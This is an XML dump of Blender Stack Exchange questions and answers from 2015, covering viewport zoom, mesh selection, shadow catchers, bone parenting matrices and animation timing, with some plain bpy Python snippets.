  <row Id="26671" PostTypeId="2" ParentId="26657" CreationDate="2015-03-05T22:22:43.307" Score="4" Body="&lt;p&gt;I made a mistake in my comment to your question, but here is the correct version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as you have found out yourself, it is the second &lt;code&gt;global_matrix&lt;/code&gt; that needs to be transposed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct formula is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;matrix_world = global_matrix * obj.matrix_world * global_matrix.transpose()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this only works if &lt;code&gt;global_matrix&lt;/code&gt; is just a rotation (which it is in your case). In general what you need to calculate is not the transpose of the matrix, but the inverse. In the case of rotation matrices the inverse is equal to the transpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the general case looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;matrix_world = global_matrix * obj.matrix_world * global_matrix.inverse()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2016-04-15T11:27:45.347" LastActivityDate="2016-04-15T11:27:45.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26673" PostTypeId="1" AcceptedAnswerId="26676" CreationDate="2015-03-05T22:41:31.283" Score="9" ViewCount="23589" Body="&lt;p&gt;I zoom all the time for many situations, but most of the time the zoom goes to nowhere and I have to adjust all the time to get the right spot. I have tried &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; which works ok only sometimes.&lt;br&gt;&#xA;I can press &lt;kbd&gt;NumPad&lt;/kbd&gt; because I'm on my laptop, and I can't find a similar way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need the best is to select an object from my scene list, then click for a zoom  that will bring me the right zoom for that object.&lt;br&gt;&#xA;Is there a handy way to do this on a laptop?&lt;br&gt;&#xA;Also what would be handy is a zoom to center, I could not find a laptop solution for this.&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="2217" LastEditDate="2015-03-06T00:24:22.363" LastActivityDate="2021-01-08T18:32:30.047" Title="zoom to an object without using the NumPad" Tags="&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26674" PostTypeId="2" ParentId="26664" CreationDate="2015-03-05T22:49:50.807" Score="1" Body="&lt;p&gt;I would say that it depends on your level of detail. If your face is mostly a texture and you can get the geometry you need by just moving vertices around on the body, then I would take that route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you need to add significant amounts of geometry, then you will need to change your body geometry to keep good topology. See this article from &lt;a href=&quot;https://web.archive.org/web/20150612130444/https://cgcookie.com/blender/2012/11/28/why-topology-matters-modeling/&quot; rel=&quot;nofollow&quot;&gt;cg cookie&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Topology (basically having your edges flow cleanly) is important for animation and texturing. Too keep good topology you will probably need to modify your body's geometry. Whether you want to split edges as needed and keep the body mesh, or just start over with a new face mesh, is up to you.&lt;/p&gt;&#xA;" OwnerUserId="12991" LastEditorUserId="2217" LastEditDate="2015-11-22T22:55:09.053" LastActivityDate="2015-11-22T22:55:09.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26675" PostTypeId="1" CreationDate="2015-03-05T23:02:53.187" Score="1" ViewCount="106" Body="&lt;p&gt;I'm a teacher, and I'm designing an assignment in which students will analyze music to extract timing and loudness data from recordings, then import the information into a Python script, map the information to Blender objects, and then output a 3D-printable .stl file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I know exactly how to extract the musical information, I'd like to hear your opinions on good ways to map the data to Blender objects and export a printable .stl using Python.&lt;/p&gt;&#xA;" OwnerUserId="12992" LastEditorUserId="3078" LastEditDate="2015-03-06T21:48:40.083" LastActivityDate="2015-03-06T21:48:40.083" Title="How to map musical data to objects in blender amd export 3D printable .stl file" Tags="&lt;python&gt;&lt;modeling&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26676" PostTypeId="2" ParentId="26673" CreationDate="2015-03-05T23:54:23.787" Score="11" Body="&lt;p&gt;You could use the menu item 3D view header &lt;em&gt;View&lt;/em&gt; &gt; &lt;em&gt;View Selected&lt;/em&gt;, that is the same command as pressing &lt;kbd&gt;NumPad .&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; will center the view depth over whatever the mouse hovering on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Home&lt;/kbd&gt; will zoom and center the view so all objects are in view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly the best solution for you is in the &lt;em&gt;User Preferences&lt;/em&gt; under the &lt;em&gt;Interface&lt;/em&gt; tab then check the two boxes for &lt;em&gt;Auto Depth&lt;/em&gt; and &lt;em&gt;Rotate Around Selection&lt;/em&gt;. That will make the viewport rotate around whatever object(s) is selected.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pkz8B.png&quot; alt=&quot;User Preferences&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in the user preferences under the &lt;em&gt;Input&lt;/em&gt; tab you could try enabling the &lt;em&gt;Emulate NumPad&lt;/em&gt; check box. That will make the regular 1-0 keys act like the NumPad.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-05T23:54:23.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26677" PostTypeId="1" AcceptedAnswerId="26685" CreationDate="2015-03-06T02:19:26.323" Score="0" ViewCount="242" Body="&lt;p&gt;Let's say there's an area of space, and I want to remove all vertices which occur in this region. It's easy to do this for one mesh; I just go into edit mode, select and delete. Fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I have a second mesh, and I want to delete all vertices which occur in exactly the same area of space for which I deleted vertices on the first one. My initial thought was to select both meshes to begin with, go into edit mode, select and delete. However, it seems that edit mode only works for one mesh at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there an easy way to do this without resorting to CSG or scripting?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastActivityDate="2015-03-06T16:14:41.313" Title="What's the best way to select the same region on multiple meshes?" Tags="&lt;mesh&gt;&lt;selection-tools&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26680" PostTypeId="2" ParentId="26677" CreationDate="2015-03-06T04:49:01.900" Score="0" Body="&lt;p&gt;If you have two same objects/meshes delete one and add mirror modifier :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if those meshes are two separate objects you could go in to object data of second one (which does not have deleted vertices) and just chose object data of first one, you can do this only when you in object mode so when you do this second object will also occupy same space as firs one, just select one and move it, go in edit mode and select only one vertecs and see whats hepening :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qlsyL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2015-03-06T04:49:01.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26681" PostTypeId="2" ParentId="3352" CreationDate="2015-03-06T05:11:11.620" Score="1" Body="&lt;p&gt;For games, many people need a way to make an obj file with multiple meshes, if I understand you correctly, that is what you mean. Since that is a capability of OBJ that is utilized by graphics frameworks, blender having that ability is extremely helpful. At least as of 2.73a you can select multiple objects and export to OBJ and it will work properly.&lt;/p&gt;&#xA;" OwnerUserId="12998" LastEditorDisplayName="user7952" LastEditDate="2015-03-30T20:13:10.590" LastActivityDate="2015-03-30T20:13:10.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26685" PostTypeId="2" ParentId="26677" CreationDate="2015-03-06T09:46:32.257" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into edit mode for each of your meshes and assign 1 vertex group for all vertices for each mesh. Also name them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvP3u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now merge all the meshes into 1 with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;. It will preserve the vert groups:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EddaQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the vertices you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Separate your meshes back with selecting each vertex group and &lt;kbd&gt;P&lt;/kbd&gt;&gt;Selection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i9u7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-03-06T09:46:32.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26686" PostTypeId="2" ParentId="518" CreationDate="2015-03-06T10:41:18.863" Score="52" Body="&lt;p&gt;&lt;strong&gt;CYCLES ENGINE&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Shadow Catcher&lt;/h2&gt;&#xA;&lt;p&gt;Starting from version 2.79 any mesh object can be set as &lt;em&gt;Shadow Catcher&lt;/em&gt;.&lt;br /&gt;&#xA;Select object (like a Plane) and check this option.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2.79 located in &lt;em&gt;Properties Editor &amp;gt; Object &amp;gt; Cycles Settings&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;2.8+ located in  &lt;em&gt;Properties Editor &amp;gt; Object &amp;gt; Visibility&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n9tZF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n9tZF.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Issue of current Shadow Catcher&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;Shadow Catcher&lt;/em&gt; can receive only shadows (limits are nicely summarised in this &lt;a href=&quot;https://devtalk.blender.org/t/lets-finally-fix-the-shadowcatcher/691&quot; rel=&quot;nofollow noreferrer&quot;&gt;DevTalk&lt;/a&gt;) So I will keep Shader method, that can be used to &amp;quot;catch&amp;quot; also emission, indirect light or reflection that gives more sense in term of merging CG into image. Comparison ...&lt;/p&gt;&#xA;&lt;p&gt;Example of &lt;strong&gt;Shadow Catcher issues&lt;/strong&gt; -/- comparison with &lt;strong&gt;Shader&lt;/strong&gt; solution&#xA;&lt;a href=&quot;https://i.stack.imgur.com/g19Ls.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g19Ls.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UVny0.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UVny0.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2021-05-05&lt;/strong&gt; Finaly movement :) &lt;a href=&quot;https://developer.blender.org/rBc77529091f8d658f7bf5590d136a2c19c3c02559&quot; rel=&quot;nofollow noreferrer&quot;&gt;Initial implementation of improved shadow catcher&lt;/a&gt;. Anyway here is shader solution for now ...&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;&lt;strong&gt;Shader for HDRi Environment&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This material for ground plane object can also receive lights, indirect light or reflection.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This material gives you precise feedback if the HDR image lights correctly. If not, ground plane will be brighter or darker (or will tend to be a different colour tone) depending on image color deformation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Material for ground&lt;/strong&gt; (plane) is Diffuse shader with assigned Environmetal (Equirectangular) HDRi texture. The same texture used for World. The trick here is to use &lt;strong&gt;&amp;quot;Reflection&amp;quot; texture coordinates with negative Z value (-1)&lt;/strong&gt;. For smaller color differences between found and environment use RGB node.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8lUlO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8lUlO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Showcase &lt;a href=&quot;https://vimeo.com/159234378&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vimeo.com/159234378&lt;/a&gt;&lt;br /&gt;&#xA;For more examples and tests check out this &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?364941-Cycles-Ground-for-HDRi-Environment-(aka-Shadow-Light-Catcher)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blenderartists thread&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;&lt;strong&gt;Lighting by HDRi&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;is another topic, so just a quick tip if HDRi doesn't light properly. Use this World node setup, in most cases just increase/decrease &lt;em&gt;Fac&lt;/em&gt; value of the first &amp;quot;Mix&amp;quot; node solves. Second &amp;quot;Mix&amp;quot; node affects &amp;quot;Exposure&amp;quot; of the HDRi.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ji8Mk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ji8Mk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If lighting seems to be ok, but shadows are still too blurry you will have to fix the HDRi image manually. Open the image in an image editor that supports 32 bit images, select small circle in place of sun and increase exposure. Sorry can't find the tutorial link.&lt;/p&gt;&#xA;&lt;p&gt;Rendering – Be sure &amp;quot;Multiple Importance&amp;quot; is enabled in World Properties panel (value like 840), it should be checked by default.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;&lt;strong&gt;Shader for Backplate (2D image)&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;In case you want to merge your CG with the backplate, simply use &amp;quot;Window&amp;quot; texture coordinates for shadow / light receiver. &lt;strong&gt;This material doesn't have a geometry limitation.&lt;/strong&gt; In this example, a plane is used also, but it can be any shape. Scene is lit only by a sun with strength that brings ground image to background colours. Both previously mentioned benefits (shadow/light receiver and in this case general feedback of correct lighting) works here too. Disadvantage of backplate (compared to equirectangular HDRi image) is lighting inaccuracy and missing reflections.&lt;/p&gt;&#xA;&lt;p&gt;Note: the same node tree is used for the world.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7GUc2.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7GUc2.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&#xA;There exists &lt;a href=&quot;http://vadrouillegraphique.blogspot.fr/2013/06/quip-and-quipcam-fast-fx-shaders.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSL shader &lt;strong&gt;QUIP&lt;/strong&gt;&lt;/a&gt; and QUIPCam for this purpose that gives you the ability to have a bit of movement in the environment too. But OSL isn't supported for GPU calculation and takes quite a lot of time to get a clean render.&lt;/p&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="2214" LastEditDate="2021-05-16T10:10:33.990" LastActivityDate="2021-05-16T10:10:33.990" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26687" PostTypeId="2" ParentId="26669" CreationDate="2015-03-06T11:40:06.897" Score="1" Body="&lt;p&gt;&lt;strong&gt;This was not a Blender issue.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My PNG files were created by pressing &lt;kbd&gt;Win&lt;/kbd&gt;+&lt;kbd&gt;PrtSc&lt;/kbd&gt; and they were not processed correctly by Blender for unknown reasons. Recreating the PNG file in another application solved my strange problem.&lt;/p&gt;&#xA;" OwnerUserId="2980" LastEditorUserId="6204" LastEditDate="2015-03-06T22:14:43.613" LastActivityDate="2015-03-06T22:14:43.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26688" PostTypeId="2" ParentId="26675" CreationDate="2015-03-06T11:50:52.443" Score="4" Body="&lt;p&gt;Assuming you have already baked a sound file to curve, you could evalutate the f-curves values and assign them to a prepared object e.g. massivley loop-cut cube.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.scene.objects[&quot;Cube&quot;]&#xA;action = obj.animation_data.action&#xA;&#xA;fcurves = action.fcurves&#xA;for f in fcurves:&#xA;    print(f.data_path)&#xA;&#xA;coords = []&#xA;for vert in obj.data.vertices:&#xA;    if vert.co.z &amp;gt; 0:&#xA;        coords.append( vert.co )&#xA;        print( vert.co )&#xA;&#xA;ysorted = sorted(coords, key=lambda element: (element[1] ))&#xA;&#xA;cidx=0            &#xA;for i in range(200,250):&#xA;    curve_val = f.evaluate(i)&#xA;    ysorted[cidx].z = curve_val&#xA;    cidx = cidx + 1&#xA;    ysorted[cidx].z = curve_val&#xA;    cidx = cidx + 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FR9vv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertices are first filtered by positive z-coordinste and sorted by y-coordinate so that opposite (on x-axis) vertices follow in a sequence. After that the curve value is evaluated and assigned to the z component of the vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting mesh is manifold and can be exported to.STL format.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-03-06T12:01:25.430" LastActivityDate="2015-03-06T12:01:25.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26691" PostTypeId="1" CreationDate="2015-03-06T12:21:06.157" Score="5" ViewCount="7689" Body="&lt;p&gt;How can I hide parts of an object in the Object Mode? I need to model different parts (each part has to be a single object) in a big box surrounding them (external object). My task is to model a room and the things contained in it; therefore I need the positions of the different objects in reference to the room's walls and ceiling...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify: this is the room from outside (a simple box) &lt;img src=&quot;https://i.stack.imgur.com/dPFkL.png&quot; alt=&quot;Room from outside&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;whereas this is the same room from inside &lt;img src=&quot;https://i.stack.imgur.com/Im9G3.png&quot; alt=&quot;Room from inside (through the camera perspective)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add some features to the room in the inner part but do not know how to hide just some parts (walls and ceiling) of the first object modeled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. If I want to add the stairs going from the ground floor to the first floor (visible in the 2nd picture) I need to hide walls and ceiling to be able to use right/left/top view. Though being these modeled as part of a single object, making invisible the whole object would hide also the ground and first floor which I definitely need...&lt;/p&gt;&#xA;" OwnerUserId="13001" LastEditorUserId="13001" LastEditDate="2015-03-06T13:12:42.650" LastActivityDate="2016-07-09T19:26:20.833" Title="Hiding a part of an object in the Object Mode" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26692" PostTypeId="1" AcceptedAnswerId="168434" CreationDate="2015-03-06T12:37:28.343" Score="57" ViewCount="22336" Body="&lt;p&gt;Most people's question in this area is how to reduce repeating patterns, however I want to create them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating 2d rendered tiles for my game, and I want to create procedural materials for my tiles that will seamlessly match. For that I need the cycles procedural textures to repeat on a predictable interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at similar threads, and they only deal with simple gradients, or images, not things like voronoi, musgrave, noise.&lt;br&gt;&#xA;I haven't been able to figure out how to scale/manupilate with math, the procedural nodes to any degree of repetition.&lt;/p&gt;&#xA;" OwnerUserId="13003" LastEditorUserId="2217" LastEditDate="2015-03-06T14:13:17.080" LastActivityDate="2020-02-29T14:25:11.880" Title="How do I create repeating patterns with cycles' procedural textures" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="5" CommentCount="6" FavoriteCount="36" ContentLicense="CC BY-SA 3.0" />
  <row Id="26694" PostTypeId="1" AcceptedAnswerId="27011" CreationDate="2015-03-06T12:50:02.377" Score="3" ViewCount="1045" Body="&lt;p&gt;I am trying to move around objects by manipulating their transformation matrices with Python. If the objects are in a parent/child hierarchy you have to step down this hierarchy using the object's &lt;code&gt;matrix_parent_inverse&lt;/code&gt; element. My code works fine with one exception: In case an object is a child of an armature's bone the child has a &lt;code&gt;matrix_parent_inverse&lt;/code&gt; I do not understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, we have a cube as child of a cone as child of a cylinder, i. e. the hierarchy cube -&gt; cone -&gt; cylinder. &lt;code&gt;bpy.data.objects[&quot;Cube&quot;].matrix_parent_inverse&lt;/code&gt; gives me the inverse matrix of the cone at the time of parenting. Fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have the same situation (at least in my opinion) when the cube is the child of a bone. The hierarchy is in this case cube -&gt; bone -&gt; armature. &lt;code&gt;bpy.data.objects[&quot;Cube&quot;].matrix_parent_inverse&lt;/code&gt; should give the same result as in the first situation but it does not. So my question is: What is the meaning of &lt;code&gt;matrix_parent_inverse&lt;/code&gt; in this case or how can I get the correct one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample code showing the different results (Blender 2.71):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#------------------------------------------------------&#xA;# Make a parent hierarchy&#xA;# cube -&amp;gt; cone -&amp;gt; cylinder&#xA;# &quot;-&amp;gt;&quot; means &quot;is child of&quot;&#xA;#------------------------------------------------------&#xA;&#xA;# Delete the scene:&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bpy.ops.object.select_all(action='SELECT')&#xA;bpy.ops.object.delete()&#xA;&#xA;# Create a cylinder at location (2, 3, 4):&#xA;bpy.ops.mesh.primitive_cylinder_add(location=(2, 3, 4))&#xA;&#xA;# Create a cone and make it the cylinder's child at the same position:&#xA;bpy.ops.mesh.primitive_cone_add(location=(2, 3, 4))&#xA;bpy.context.scene.objects.active = bpy.data.objects[&quot;Cylinder&quot;]&#xA;bpy.ops.object.parent_set(type='OBJECT')&#xA;&#xA;# Create a cube at (0, 0, 0) and make it the cone's child:&#xA;bpy.ops.mesh.primitive_cube_add(location=(0, 0, 0))&#xA;bpy.context.scene.objects.active = bpy.data.objects[&quot;Cone&quot;]&#xA;bpy.ops.object.parent_set(type='OBJECT')&#xA;&#xA;# Print the cube's parent inverse matrix:&#xA;print(bpy.data.objects[&quot;Cube&quot;].matrix_parent_inverse)&#xA;&#xA;&#xA;#------------------------------------------------------&#xA;# Make a parent hierarchy&#xA;# cube -&amp;gt; bone -&amp;gt; armature&#xA;# &quot;-&amp;gt;&quot; means &quot;is child of&quot;&#xA;#------------------------------------------------------&#xA;&#xA;# Delete the scene:&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bpy.ops.object.select_all(action='SELECT')&#xA;bpy.ops.object.delete()&#xA;&#xA;# Create an armature at (2, 3, 4), a bone is created automatically as child:&#xA;bpy.ops.object.armature_add(location=(2, 3, 4))&#xA;&#xA;# Create a cube at (0, 0, 0) and make it the bone's child:&#xA;bpy.ops.mesh.primitive_cube_add(location=(0, 0, 0))&#xA;bpy.context.scene.objects.active = bpy.data.objects[&quot;Armature&quot;]&#xA;bpy.ops.object.mode_set(mode='POSE')&#xA;bpy.ops.object.parent_set(type='BONE')&#xA;&#xA;# Print the cube's parent inverse matrix:&#xA;print(bpy.data.objects[&quot;Cube&quot;].matrix_parent_inverse)&#xA;&#xA;&#xA;# =&amp;gt; output:&#xA;#&amp;lt;Matrix 4x4 (1.0000,  0.0000, 0.0000, -2.0000)&#xA;#            (0.0000,  1.0000, 0.0000, -3.0000)&#xA;#            (0.0000,  0.0000, 1.0000, -4.0000)&#xA;#            (0.0000,  0.0000, 0.0000,  1.0000)&amp;gt;&#xA;#&#xA;#&amp;lt;Matrix 4x4 (1.0000,  0.0000, 0.0000, -2.0000)&#xA;#            (0.0000,  0.0000, 1.0000, -5.0000)&#xA;#            (0.0000, -1.0000, 0.0000,  3.0000)&#xA;#            (0.0000,  0.0000, 0.0000,  1.0000)&amp;gt;&#xA;#&#xA;# Both matrices should be the same but aren't.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2015-03-11T17:08:50.317" Title="Problem with matrix_parent_inverse of childs of bones" Tags="&lt;python&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26696" PostTypeId="2" ParentId="26691" CreationDate="2015-03-06T13:18:46.343" Score="2" Body="&lt;p&gt;Changing the box to wireframe will work for you best:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fz4oX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also quickly toggle the whole scene to wireframe and back with &lt;kbd&gt;Z&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also make your objects semi-transparent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbvox.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But note that blender doesn't do alpha depth sorting for the viewport like maya does so you might get unusable result.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-03-06T13:31:23.947" LastActivityDate="2015-03-06T13:31:23.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26697" PostTypeId="1" CreationDate="2015-03-04T00:48:06.163" Score="2" ViewCount="2088" Body="&lt;p&gt;I am creating a blender animation that involves an explosion. I created the explosion object in a separate blender file, but if I import the object into the main scene, It just plays the explosion animation at frame 1. But I want the explosion to happen at frame 245. Is there a way to make the object come into the scene at that specific frame, or can I at least keep the animation paused until then? Or am I thinking along the wrong lines entirely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I cannot just create the explosion within the main file because it gets all dragged out and it stutters. It works fine when I import it, it just happens too early.&lt;/p&gt;&#xA;" OwnerDisplayName="ddd" LastActivityDate="2015-03-06T13:22:08.980" Title="How do you make objects appear in a blender scene at specific times?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26698" PostTypeId="2" ParentId="26697" CreationDate="2015-03-06T06:50:26.613" Score="1" Body="&lt;p&gt;While you can animate the &lt;a href=&quot;https://blender.stackexchange.com/q/8678/935&quot;&gt;visibility of an object&lt;/a&gt;, I think you are more interested in adjusting the timing of the animation. Using the dopesheet you can select the keyframes of your animation and move them along to start at frame 245.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar tot he 3dview you can use &lt;kbd&gt;A&lt;/kbd&gt; to select all keyframes and &lt;kbd&gt;G&lt;/kbd&gt; to move them. After grabbing the keyframes you can also type in the number of frames you want to move them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e4RO9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be able to render two separate animations and join them together in &lt;a href=&quot;http://www.blender.org/manual/editors/sequencer/usage.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the VSE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-03-06T06:50:26.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
